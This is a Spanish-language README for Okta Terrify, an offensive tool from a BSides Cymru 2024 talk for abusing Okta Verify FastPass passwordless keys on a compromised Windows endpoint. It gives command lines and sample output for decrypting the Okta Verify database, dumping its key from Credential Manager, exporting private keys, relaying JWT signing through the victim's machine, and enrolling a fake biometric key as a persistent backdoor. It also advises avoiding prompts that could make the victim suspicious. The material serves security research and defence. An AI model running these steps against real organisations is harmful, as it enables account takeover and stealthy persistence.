Esta herramienta se lanzó como parte de mi charla BSides Cymru 2024, Okta Terify: Persistence in a Passwordless World. La presentación y el vídeo de demostración se han incluido en este repositorio.
Okta Terrify es una herramienta para demostrar cómo se puede abusar de las soluciones sin contraseña, como FastPass de Okta Verify u otras soluciones de tipo FIDO2/WebAuthn, una vez que un punto final de autenticación se ha visto comprometido. Si bien Okta Terrify demuestra los ataques específicos de Okta, la misma metodología normalmente se aplicaría a otras soluciones sin contraseña, ya que generalmente todas aprovechan la criptografía asimétrica.
La autenticación sin contraseña funciona mediante pares de claves públicas/privadas. Normalmente, hay dos tipos de claves generadas durante la inscripción del autenticador: Proof Of Possession
y User Verification
. Combinadas, ambas claves satisfacen el elemento multifactor de autenticación por el que se esfuerzan las organizaciones como parte de los esfuerzos continuos para proteger a sus usuarios.
La clave de prueba de posesión está diseñada para hacer precisamente eso: demostrar la presencia de un autenticador y/o usuario específico durante la autenticación. En el caso de Okta, la clave de prueba de posesión se utiliza para determinar la presencia tanto del autenticador como del usuario, ya que en escenarios multiusuario, las claves de prueba de posesión únicas se generan por usuario. La clave de prueba de posesión suele ser una clave silenciosa, que no requiere ningún tipo de datos biométricos para desbloquear su uso más allá del propio sistema operativo, como una sesión de usuario de Windows autenticada. Cuando esté disponible, esta clave estará respaldada por un TPM y, por lo tanto, no es posible exportarla desde el dispositivo. Cuando un TPM no está disponible, esta clave se genera como clave únicamente de software.
La clave de verificación del usuario también proporciona prueba de posesión, pero además verifica que el usuario sea realmente consciente de que se está llevando a cabo la autenticación. Esto se logra mediante datos biométricos, a menudo una huella digital o reconocimiento facial, pero también está respaldado por un PIN. En dispositivos basados en Windows, esto normalmente se implementa mediante Windows Hello. Las operaciones de firma no funcionarán sin los datos biométricos correctos proporcionados. Algunas soluciones sin contraseña utilizarán solo la clave de verificación del usuario para satisfacer ambos factores. El inconveniente de este enfoque es que cada operación de firma requerirá datos biométricos de los usuarios. En el caso de Okta, por ejemplo, la clave de prueba de posesión se puede utilizar como un factor distinto durante la autenticación junto con un factor separado como la contraseña del usuario. Nuevamente, esta clave está respaldada por un TPM cuando está disponible o, en caso contrario, se genera en el software.
Bien, basta de estos antecedentes sobre la tecnología sin contraseña, vayamos a lo bueno. Si bien existen los mismos conceptos en todos los dispositivos Okta Verify compatibles, de ahora en adelante discutiremos cómo funciona la versión para Windows de Okta Verify.
Okta almacena información del autenticador dentro de una base de datos SQLite cifrada. Hay dos versiones de base de datos diferentes, la versión heredada almacenada dentro de un archivo llamado OVStore.db
que utiliza el SID del usuario como base de la clave de cifrado pasada a través de un algoritmo XOR personalizado y una clave fija. La versión más nueva se llama DataStore.db
y utiliza un valor aleatorio que se almacena en el administrador de credenciales. Esta credencial se pasa a través de un algoritmo XOR similar al del formato heredado. La base de datos se almacena en %LocalAppData%OktaOktaVerify
. La base de datos contiene los identificadores de clave generados tanto para la prueba de posesión como para la clave de verificación del usuario que se generan durante la inscripción del dispositivo. La base de datos también contiene otros metadatos útiles, como ID de dispositivo, usuario y autenticador junto con la URL del inquilino de Okta para las cuentas registradas.
Okta Terrify se divide en dos componentes distintos. Okta Terrify y OktaInk.
Okta Terrify está diseñado para ejecutarse en la máquina del atacante. La herramienta requiere el SID de los usuarios y un archivo de base de datos con formato de base de datos heredado y, para el formato más nuevo, la clave de la base de datos. Para el formato más nuevo, la clave de la base de datos se puede generar usando OktaInk. Okta Terrify dispone de 4 modos de funcionamiento controlados a través de varios interruptores.
El modo --info
simplemente descarga la información contenida en la base de datos.
Base de datos heredada
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
Base de datos más nueva
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
En el modo --backdoor
, Okta Terify iniciará la URL de Okta del inquilino utilizando la identificación del cliente OAuth que utiliza la aplicación oficial Okta Verify durante la inscripción. Normalmente, esto activará el flujo de autenticación y el modo de firma estará activo durante esta fase. Una vez que se crea una sesión autenticada, se genera una nueva clave de verificación de usuario en el dispositivo atacante y se registra como una clave biométrica falsa. Una vez registrada la clave, FastPass funcionará sin contraseña y sin dependencia del dispositivo autenticador original comprometido.
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
En el modo --sign
, durante la autenticación de Okta, los desafíos se firman localmente a través de claves exfiltradas o se pueden enviar mediante proxy a OktaInk que se ejecuta en un autenticador comprometido cuando hay claves respaldadas por hardware presentes.
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
El modo --import
guardará la prueba de posesión definida por el software y las claves de verificación del usuario que se han extraído con Okta Ink.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
Okta Ink está diseñado para ejecutarse en el dispositivo autenticador comprometido. La aplicación admite 4 tipos de operaciones.
Para el formato de base de datos más nuevo, la --operation DumpDBKey
se puede utilizar para volcar la clave de la base de datos para el archivo DataStore.db
. La clave luego se puede utilizar como parámetro para OkaInk.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
Durante el flujo de autenticación de Okta, se genera un JWT de respuesta de desafío para demostrar que la prueba de presencia o la clave de verificación del usuario están disponibles. El modo --operation SignDeviceBind
se puede utilizar para firmar el JWT generado con la clave de prueba de posesión, que es silenciosa. Si desea realizar una autenticación sin contraseña, también puede firmar con la clave de verificación del usuario agregando el argumento -v
. ADVERTENCIA: al solicitar la clave de verificación de usuario, el usuario víctima deberá realizar una validación biométrica y, por lo tanto, podría generar sospechas.
Okta Verify también registra una clave de certificación del dispositivo, que es una clave silenciosa. Esta clave parece usarse cuando se realizan cambios en el dispositivo autenticador registrado a través de llamadas a la API web contra el inquilino de Okta. Pero parece que, de forma predeterminada, la certificación del dispositivo no se aplica, por lo que no es necesario firmar. De todos modos, este modo se puede aprovechar mediante los argumentos --operation SignDeviceAttestation
.
Para dispositivos que no admiten TPM, la línea de comando --operation ExportPrivate
se puede utilizar para exportar todas las claves registradas en el dispositivo. Las claves de prueba de posesión están vinculadas a la clave DPAPI del usuario y, por lo tanto, se debe conocer la contraseña del usuario.
Durante el proceso de inscripción de puerta trasera, debemos asegurarnos de que las claves públicas existentes se conserven dentro de los datos del autenticador del inquilino. --operation ExportPublic
facilita esto exportando la clave pública asociada con una identificación de clave específica.
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....